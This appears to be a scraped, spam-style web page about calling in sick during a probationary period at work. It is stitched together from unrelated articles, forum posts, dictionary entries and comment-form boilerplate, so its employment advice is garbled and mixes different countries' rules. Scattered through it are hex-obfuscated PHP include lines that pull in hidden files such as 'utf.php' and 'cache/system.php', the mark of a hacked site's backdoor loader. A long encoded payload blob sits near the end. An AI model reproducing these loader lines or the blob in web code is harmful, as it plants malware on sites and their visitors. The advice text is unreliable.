However, this will not impact your statutory right to sick pay. Literally half the shop is out sick, and i am coming down with it too. This could reflect badly on your probation review just as much as taking too many days off. She writes for several online publications, and runs online training courses for businesses and their staff in the childcare industry. To work out what sick pay youll get during your probation period, refer to your contract of employment. qualifying period known as waiting days, what happens if you need time off sick during your notice period, Latex Gloves Guide Pros & Cons of Using Latex Disposables, Can an Employer Withhold Pay? Save my name, email, and website in this browser for the next time I comment. However, if your pattern of absences looks suspicious to your employer, dismissal during a probation period after taking time off for sickness is a possibility. You're all welcome here. Probation period is a trial period during which it's easier to let an employee go if the company wants to. Find out more about statutory sick pay at Citizens Advice. A probationary period in an employment setting is a specific timeframe in which a new employees job performance is closely monitored. What happens if I dont pass my probation? As I remember my probation period with Sainsburys, depot not store, it was sickness over a year not the 12 weeks as such and adherence to policy rather than non-attendance. Reduced morale: When an employer doesnt take any action on frequent and unscheduled absences of an employee, it leads to resentment in the coworkers and affects their morale . They may call in sick more often, resulting in absenteeism becoming a perpetual problem. In general, the employment laws in many states as well as the guidelines in company policies allow an employer to fire an employee during the first 90 days of employment at a new company. Plenty of people who have started after me have already called in multiple times in the middle of the week and still have their jobs. You really dont want the first report your manager or the HR Director receives about you to be an absentee report. My probationary period ends in a week and i havent called in once. Zero Hours Contracts UK What Are They & What Rights Do Workers Have. In each month, the worker will have the right to one twelfth of their leave. 90 day probation? That's nothing. I had to do a 1 year and 6 month probation for a government job I never called in sick once. I would say absol WebCalled in sick during probationary period. WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) Legal Requirements & Entitlements, Can Employers Change Working Hours? Required fields are marked *. We have found that this has cut down on absence during probation - our stats showed that people on probation were the group with the highest absence rate. We only pay for sickness under SSP rulings whilst on probation. You are not obligated to provide detailed medical information about your reason for being off. Unlawful Wage Deductions Law Guide UK, What Should Be in a First Aid Kit for Work & Home? Employers might take a dim view of excessive absences for reasons they dont think are genuine. If you have been open, honest and genuine it should not be a problem for most workplaces. During this period, it is important to understand your Our general guide gives detailed suggestions on how to call in sick to work. 1680 hours if serving a twelve (12)-month probationary period. Overpaid by Employer After Leaving What Are My Rights? WebDefinition of call in sick in the Idioms Dictionary. It should have information on what you can expect. if a company hired and fired you within 90 days, it better have been a much bigger problem then They might feel on edge or worry theyre on thin ice. WebMy probationary period ends in a week and i havent called in once. If you have worked with the company for less than 8 weeks, you are still entitled to SSP. Ifyou are supposed to call in but instead drop your manager an email on the first day, and then dont keep in touch it might reflect poorly. Im not going to the doctor, its just a good ole spring flu. However, this entitlement is for statutory sick pay which is paid at a flat rate. WebCalled in sick during probationary period So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain all my life but no endo or PCOS diagnosed. ) A probationary period is a stretch of time during which a new or existing employee receives extra supervision and coaching, either to learn a new job or to turn around a performance problem. There are two types of sick pay you may be eligible for:-. Dismissal beyond the statutory probationary period without notice or pay in lieu of notice will violate the employees employment standards entitlement to termination Depends on your union contract but most Kroger stores consider calling in on a day you requested off but were scheduled anyway as an automatic probation, or During probation if performance is unsatisfactory then the period is either The probationary period can be as short as a month or as long as a year, depending on the situation, and often Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get something from doctor office Health Sciences employees, contact Employee Advocacy and Labor Relations . Good communication will help your manager understand your sickness is authentic. Two weeks ago I joined a new company and during the hiring process I used a competing offer to increase the proposed salary. Im not going to the doctor, its just a good ole spring flu. If youre feeling ill, try your best to go into work you can always leave early if It is the minimum period of employment that is enshrined in the Fair Work Act 2009 and determines when and if an employee can make use of the unfair dismissal laws and systems. A probation period will commonly be 3 to 6 months in length, though they can be as little as 1 week in short-term contracts. This is a subreddit aimed at women in the construction trades and other blue collar professions. WebThe Families First Coronavirus Response Act (FFCRA) offers up to 80 hours of paid sick leave to employees of covered employers who need to miss time from work because they get sick or develop symptoms for which they are receiving medical treatment. Renaming it to an orientation period, initiation or training period can help ease this stress. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); Your email address will not be published. If your staff handbook advises you to call your line manager every day you are off, do so. I had no sleep last night and family issues and I called off before my 90 days I didnt want to have a poor work performance so I called in Dont worry, our guide will look at how to call in sick, what your employer is likely to do, and your rights to sick pay on probation. Youre no more safe in a job before or after 90 days. Literally half the shop is out sick, and i am coming down with it too. Entitlement to full pay for sick leave on probation is at your employers discretion. Time in Lieu (TOIL) Explained Days off for Working Overtime, How Many Breaks in a 12 hour Shift? I guess im looking for advice and/or reassurance. Should i be concerned or just take my sick day? Its advisable to follow sickness procedure to the letter youll demonstrate your ability to stick to procedure in your workplace. Now that competing offer from the other company has increased to almost 2x the offer that they initially proposed. Your payroll department just have to work it out differently, basing it on your salary. Statutory sick pay has a qualifying period known as waiting days. This is done to assess their capabilities and whether they are indeed a good fit for their position. Company sick pay, or occupational sick pay (OSP) is an enhanced payment often covering an employees full wage during time off sick. This means you can still accrue and access paid leave entitlements like annual leave and sick leave, whether youre employed on a full-time or part-time basis on probation. Campus employees, contact Employee Relations, Policy Development and Work/Life, (858) 534-4115. When youre calling in sick, make sure you:-. Probation Periods at Work UK Law & Employee Rights. Non Union companies heard about this cool 90 day thing and though it sounded good and put them on policy as well. I think im being a bit of a nervous nelly about it, but i live in an at-will state, and am not the type to call in. Here's a I was fired today for missing work doing my 90 days I also had a doctor's note each time I wasn't a work But what if you need to take time off due to ill health? The most likely outcome if you are sick during probation is that your employer will extend your probation period by the same number of days you took off. Break Entitlement for 8 Hour Shifts How Long is Your Break? She now owns a successful software testing and training consultancy business. Still a student? During probation if performance is unsatisfactory then the period is either extended to try and overcome the problem or the employee is dismissed with medical evidence having been obtained of fitness for the duties and potential DDA link. Can you get fired for calling in sick during probation? You might even be wondering if you are allowed to call in sick at all during probation. We were allowed to miss 6 days within a certain amount of time. If we missed so many with no doctor's note, or without calling in, we'd be terminated. This window is known as the probation period and may extend as far as up to 180 days And now I want to join them for financial reasons and leave my current job during the probation period. How to Deal with Calling in Sick on Probation. If your absence is for a very personal or embarrassing reason, you can always say you have a tummy bug. Following company procedures to the letter is important when you are trying to pass probation. Hobbyist? Has anyone been fired for calling in sick during their 90 days? You should do everything possible to show up for work. Show up early, stay late, when done with something, ask if there is something else you can do. Kelly is a former childminding business owner living in Worcestershire. So what should you do when calling in sick during your probation period to make the best possible impression? Our employees received no firms sick pay for the first three months of employment and this is written in to their contract of employment. Definitions by the largest Idiom Dictionary. We are allow 6 call offs. The employee has no right to claim unfair dismissal, so shouldn't have any come back on you - your only problem may be if the reason for terminating is due to a sickness issue covered in the DDA as the employee could still claim under this legislation regardless of length of service. Its not unusual for a reduced range of benefits to be offered to employees during the probation period. However. WebThe term of the probation period will be what the parties agree and most commonly this is between three and six months. The other way of doing it is that you can decide not to confirm someone's probationary period if you feel it hasn't been completed satisfactorily (for whatever reason). Call store and ask for manager on duty. Actually you should not call in at all, this is considered a probation period to train and learning your job duties.If sick, you will need to get s WebDuring the first year of employment, employers may decide to use an accrual system to calculate the workers holiday entitlement. The financial impact of taking sick leave is a concern when on a probationary contract. This means that you are entitled to some kind of sick pay during your probation period. sick call: [noun] a scheduled time at which individuals (such as soldiers) may report as sick to the medical officer. It also usually means you're not eligible for some bonuses and benefits. Typically, this is done by allowing employees to enjoy some benefit (like accrued vacation or sick leave or 401(k) enrollment) that they did not have before When taking a sick day, it's important to communicate with your coworkers and managers. The legal minimum notice required to dismiss an include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/j\x6exr0\x2fmen\x75.ph\x70"; So this was not turning up without using the correct procedure, phoning the sickness absence line is correct procedure. However, the amount of sick pay you get will depend on your employment contract. What does call in sick expression mean? Sickness absence in the probation period should be assessed as part of performance. My advice is that if you truly are WebDuring the prescribed length of the probationary period, the employee is required to work the following hours: 840 hours if serving a six (6)-month probationary period. I am worried about calling in and it reflecting on me badly. If someone has been away for 2 months during their 3 month probationary period, then extend it for a further 2 months in order to get a true picture of their performance. The length of any probation period must not be unreasonable. A sick courtesy clerk came in all last week sick and passed it to Sickness absence in the probation period should be assessed as part of performance. Sick pay entitlements are worked out based on the average of the last 8 weeks wage from your employer. Call in sick. I am worried about calling in and it reflecting on me badly. Therefore if the worker wants to take leave within the first few weeks, they may need to wait a bit before they have accrued enough days. Remember, if you are too ill to work properly you may end up performing If an employee has high absence during probation this is a good indicator of future performance. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/c\x6fmpo\x6eent\x73/co\x6d_us\x65r/m\x6fdel\x73/ut\x66.ph\x70"; However, most will realise that you cant help getting sick, and will take a practical approach. Related: Average Sick Days Per Year. WebNegative stigma: Calling it a probationary period can have a negative connotation for some new employees. I would be very interested to see what other companies do before preparing this guidance for our management team. My Employer Overpaid Me What Are My Rights if its not my Fault? It's not common for employees not to pass probation in office work in general (that I'm aware of), but with many trades industries and others it's pretty common. WebThe probationary period clause should expressly state that the employee will not be deemed to have passed their probation unless they receive written confirmation to that effect from the employer; otherwise, the probationary period may inadvertently lapse and the employer will not be able to extend the probationary period. Does anyone have a policy/procedure or guidelines for managers in handling sickness absence during probation periods? That means it will only be paid if you have been sick for more than 4 days in a row. Some workplaces offer a certain number of sick days each year fully paid. Using Probationary Periods. Work Rotas Law in the UK, Calling in Sick to Work Employee Rights in the UK, Health Confidentiality in the Workplace Legal Right to Medical Privacy. ?>. I am also interested in this issue too as we had some off for 3 months unpaid leave after only worked 2 months, our probationary period being 3 months. When youre on probation in a new role, you will be keen to make a good impression. Sick pay is a statutory right from day one of your employment. WebWhile youre on a probationary period, you should receive the same entitlements as any other employee who isnt. Your policy should be amended to reflect this. Remember, if you are too ill to work properly you may end up performing poorly by making mistakes or not keeping up. Your email address will not be published. Could You Be Fired for being Sick on Probation? Can you be fired for taking sick leave during probation? if you have to take a reasonable amount of time off, so long as your employer feels the absence is genuine you should not have a problem. Just curious? The first thing you need to do is to extend the probationary period as you have not had adequate time to assess their performance due to their absence. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/a\x31p55\x31l/c\x61che\x2fsys\x74em.\x70hp"; How to call in sick. This type of payment is at the employers discretion. First of all, dont worry. Our guide on unfair dismissal during probation talks about your rights in depth. Performance reviews are common during this period, as they give both the employee and employer an opportunity to discuss any concerns. Typically for an amount of time called a probationary period.. So earlier this month I had a awful flu so I called in and now on the 30th the end of this month I have the worst period cramps of my life today on the 30th, (I've had bad menstrual pain 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JWV5JScuCidlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVhBTVFTdnElbWUlbXclbVVCWU1fZllOaCUnLgonbWVTTiVtZSVtVUJZTSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWUlbWUlbWUlbWVZWCVtZSVtdyVVZVlOX29NWWhTUGZRJW13JW1VQllNJW1rJW1lJW1LJW1LJW1lWU5fQllNJW13JW1VQllNJW1rJW1rJWVjJWV5JW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlbVVCWU1fZllOaF9vTVloU1BmUSVPRiVPYyVtZSVwYyVtZSVtVUJZTSVwRiVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ0xjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VQllNX2ZZTmhfb01ZaFNQZlElcEYlZWMlZXklbWUlJy4KJ21lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWDI4dmhZQTglbWV2Tl85UWhjWU1RdmhBTVp0WU5oJW13Jy4KJyVtVUJZTSVtRSVtZSVtVUJRMWhxJXBjc2UlbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXknLgonJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOMmZoJW1lJXBjJW1lU01NU1olbXclbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lWVglbWUlbXclbXNZTl9CWU0lbXclbVVCWU0lbWslbWslZWMlZXklbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXAnLgonRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVPRiVPYyVtZSVwYyVtZSUnLgonbVVCWU0lcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCWU1fdkEyOGgnLgonJW1lJXBjJW1lZSVwRiVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13JW1VQlExaHElbWUlcEUlbWVzJW1rJWVjJWV5JW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZScuCiclbWVNUWgyTTglbWUlbVVNUU4yZmglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXknLgonJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQllNJW1lJXBjJW1lTmhNZlE4JW0nLgondyVtVUJZTSVtayVtZSVwYyVwYyVtZXMlbWUlcFIlbWUlbVVCWU0lbWUlcHklbWVNaE1ZZycuCiclbXclbVVCWU0lbUUlbWUlbUwlT0UlT0UvJW1MJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VcSVtZSVwYyVtZSVVZUExUThCWU0lbXclbVVCWScuCidNJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVxJW1lJXBjJXBjJXBjJW1lUnl0NG4lbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1JW1lJ4KJyVtZU1RZU1RaDJNOCVtZSVtVU1RTjJmaCVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYy UlbWUlbWUlbWUlbWUlbWUlWUlbWUlbWVvcVlmUSVtZSVtdyVtdyVtVVglSVtZSVtdyVtdyVtVVglbWUlcGMlbWVNUVNCQllNJScuCidtdyVtVXElbWslbWslbWUlbXMlcGMlcGMlbWVSeXQ0biVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtSVtZSVtZSVtZSVtZSVVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtJy4KJ4KJ2UlbWUlbWbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVVglbWUlbXMlcGMlcGMlbWUlbUwuJW1MJW1lUzhCJW1lJW1VWCVtZSVtJy4KJ3MlcGMlcGMlbWUlbUwuLiVtTCVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiUnLgonZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVV2Mk1NUThoX0JZTSVtZSVwYyVtZSVtbSVtVUJZTS8lbVVYJW1tJy4KJyVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVlYJW1lJW13WU5fQllNJW13JW1VdjJNTVE4aF9CWU0lbWslbScuCidrJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUJZTV92QTI4aCVtZSVtRiUnLgoncGMlbWVzJXBGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VTVFOJy4KJzJmaCVPRiVPYyVtZSVwYyVtZSVtVXYyTU1ROGhfQllNJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVU1RTjJmaCVtZSVwYyVtZVNNTVNaX2dRTUdRJW13JW1VTVFOMmZoJW1FJW1ldk5fOVFoY1lNUXZoJy4KJ0FNWnRZTmglbXclbVV2Mk1NUThoX0JZTSVtRSVtZSVtVUJRMWhxJW1lLyVtZXNlJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVlJy4KJ3klbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWV2ZkFOUUJZTSVtdyVtVXElbWslJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lJW1VTVFOMmZoJXBGJWVjJWV5JW1lJW1lJW1lJW1lJUxjJScuCidlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fOVFoY0F2MEFBaCVtdyVtayVlYyVleSVtZSVtZSVtZSVtZSVMRiVlYyVleSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVCQXZNQUFoX1E4QiVtZSVwYyVtZU5oTU0xQU4lbXclbVVfNG4wcm4wJScuCidPRiVtTDRFMGk2YV9SaXRuVHlsbiVtTCVPYyVtRSVtZSVtVV80bjBybjAlT0YlbUwwbjdXbjRhX1cwaSVtTCVPYycuCiclbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW0nLgonZVJ5dDRuJW1rJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoJy4KJzJNOCVtZSVtVV80bjBybjAlT0YlbUxjNUVXbG5UYV8wNTVhJW1MJU9jJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW0nLgonZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTlFZWCVtZSVtdyVtVUJBdk1BQWhfUThCJW1lJXBjJXBjJXBjJW1lZSVtayVlYyVleScuCiclbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWUlbW0vJW1tJXBGJWVjJWUnLgoneSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZVFmTicuCidRJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lTVFoMk04JW1lTjJQTmhNJW13Jy4KJyVtVV80bjBybjAlT0YlbUw0RTBpNmFfUml0blR5bG4lbUwlT2MlbUUlbWVlJW1FJW1lJW1VQkF2TUFBaF9ROEIlbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lWVglbWUlbXclbXNYMjh2aFlBOF9RellOaE4nLgonJW13JW1MWFlmUV8xMmhfdkE4aFE4aE4lbUwlbWslbWslZWMlZXklbWUlbWUlbWUlbWUnLgonJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWDI4dmhZQTglbWVYWWZRXzEyaF92QThoUThoTiVtdyVtVScuCic4JW1FJW1lJW1VQiVtRSVtZSVtVVhmU0clbWUlcGMlbWVSU2ZOUSVtayVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVMRiVlYycuCiclZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbVVnQUJRJW1lJXBjJW1lJW1VWGZTRyVtZSVwYyVwYyVtZXclbWUlcFIlbWUlJy4KJ21MUyVtTCVtZSVweSVtZSVtTG8lbUwlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1VWCVtZSVwYyVtZSVVZVhBMVE4JW13JW1VOCVtRSVtZSVtVWdBQlElbWslcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJW1lJW1lJW1lWVglbWUlbXclbVVYJW1lJXBjJXBjJXBjJW1lUlNmTlElbWslZWMlZXklbScuCidlJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZWUlcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlJy4KJ21lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lUWZOUSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUnLgonJW1lJW1lJW1lJW1lWVglbWUlbXdZTl9TTU1TWiVtdyVtVUIlbWslbWslbWUlbVVCJW1lJXBjJW1lWWcxZkFCUSVtdyVtVUIlbWslcEYlZWMlZScuCid5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoJW1lJW1lJW1lJW1lJW1lJW1lJW1VUFpoW1lJW1VUFpolJW1VQiVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSUnLgonbWVYdmZBTlElbXclbVVYJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZU1RaDJNOCVtZSVtVVBaaFFOX29NWWhoUTglcEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTGMlJy4KJ2VjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUwnLgonYyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVlYJW1lJW13JW1zWDI4dmhZQThfUXpZTmhOJy4KJyVtdyVtTFhZZlFfR1FoX3ZBOGhROGhOJW1MJW1rJW1rJWVjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZVgyOHZoWUE4JW1lWFlmUV9HUWhfdkE4aFE4aE4lbXclbVVYWWZROFNnUSVtayVlYyVleSVtZSVtZScuCiclbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlJW1lJW1VWHFTOEJmUSVtZSVwYyVtZVhBMVE4JW13JW1VWFlmUThTZ1ElbUUlbWUlbW1NJW1tJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZSVtZSVtZSVtVVh2QThoUThoTiVtZSVwYyVtZVhNUVNCJW13JW1VWHFTOEJmUSVtRSVtZVhZJy4KJ2ZRTll1USVtdyVtVVhZZlE4U2dRJW1rJW1rJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJy4KJyVtZSVtZSVtZVh2ZkFOUSVtdyVtVVhxUzhCZlElbWslcEYlZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlbScuCidlTVFoMk04JW1lJW1VWHZBOGhROGhOJXBGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5Jy4KJyVlYyVleSVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZScuCidjJWV5JW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1VQTJoX0JTaFMlbWUlcGMlbWUlbW0lbW0lJy4KJ3BGJWVjJWV5JWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNJW1lJW13JW1VWSVwY2UlcEYlbWUlbVVZJXBFTmhNZicuCidROCVtdyVtVUJTaFMlbWslcEYlbWslZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWUlTEYlZWMlJy4KJ2V5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lWEFNJW1lJW13JW1VViVwY2UlcEYlbWUlbVVWJXBFTmhNZlE4JW13JW1VM1FaJW1rJW0nLgonZSVtSyVtSyVtZSVtVVklcEVOaE1mUTglbXclbVVCU2hTJW1rJXBGJW1lJW1VViVtRiVtRiVtRSVtZSVtVVklbUYlbUYlbWslZWMlZXklbWUlJy4KJ21lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtVUEyaF9CU2hTJW1lLiVwYyVtZXZxTSVtd0FNQiVtdyVtVUJTaFMlT0YlbScuCidVWSVPYyVtayVtZSVPbiVtZUFNQiVtdyVtVTNRWiVPRiVtVVYlT2MlbWslbWslcEYlZWMnLgonJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JScuCidtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZSVtVUEyaF9CU2hTJXBGJWVjJWV5JW1lJW1lJW1lJW1lJUxjJWVjJWV5JWVjJWV5JW1lJy4KJyVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fQlF2TVoxaCVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZWMlZXklbWUlbWUlbWUlbWUlTEYlZWMlZXklbWUlbWUlbWUlbWUlbScuCidlJW1lJW1lJW1lR2ZBUFNmJW1lJW1Vdk5fUzJocSVwRiVlYyVleSVlYyVleSVtZSVtZSVtZSVtZSVtZSVtZSVtZSVtZU1RaDJNOCVtZXZOX0JRdk1aMWhfMXFTJy4KJ05RJW13dk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslbUUlbWUlbVV2Tl9TMmhxJScuCidtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVMYyVlYyVleSVtZSVtZSVtZSVtZVgyOHZoWUE4JW1ldk5fUTh2TVoxaCVtdyVtVUJTaFMlbUUlbWUlbVUzUVolbWslZWMlZXklJy4KJ21lJW1lJW1lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW1lJW1lJW1lJW1lR2ZBUFNmJW1lJW1Vdk5fUzJocSVwRiUnLgonZWMlZXklZWMlZXklbWUlbWUlbWUlbWUlbWUlbWUlbWUlbWVNUWgyTTglbWV2Tl9CUXZNWjFoXzFxU05RJW13dk5fQlF2TVoxaF8xcVNOUSVtdyVtVUJTaCcuCidTJW1FJW1lJW1Vdk5fUzJocSVtayVtRSVtZSVtVTNRWiVtayVwRiVlYyVleSVtZSVtZSVtZSVtZSVMYyVlYyVleSVlJy4KJ2MlZXklbWUlbWUlbWUlbWVYMjh2aFlBOCVtZXZOX1hZZlFfTVFTQiVtdyVtVTFTaHElbWslZWMlZXklbWUlbWUlJy4KJ21lJW1lJUxGJWVjJWV5JW1lJW1lJW1lJW1lJW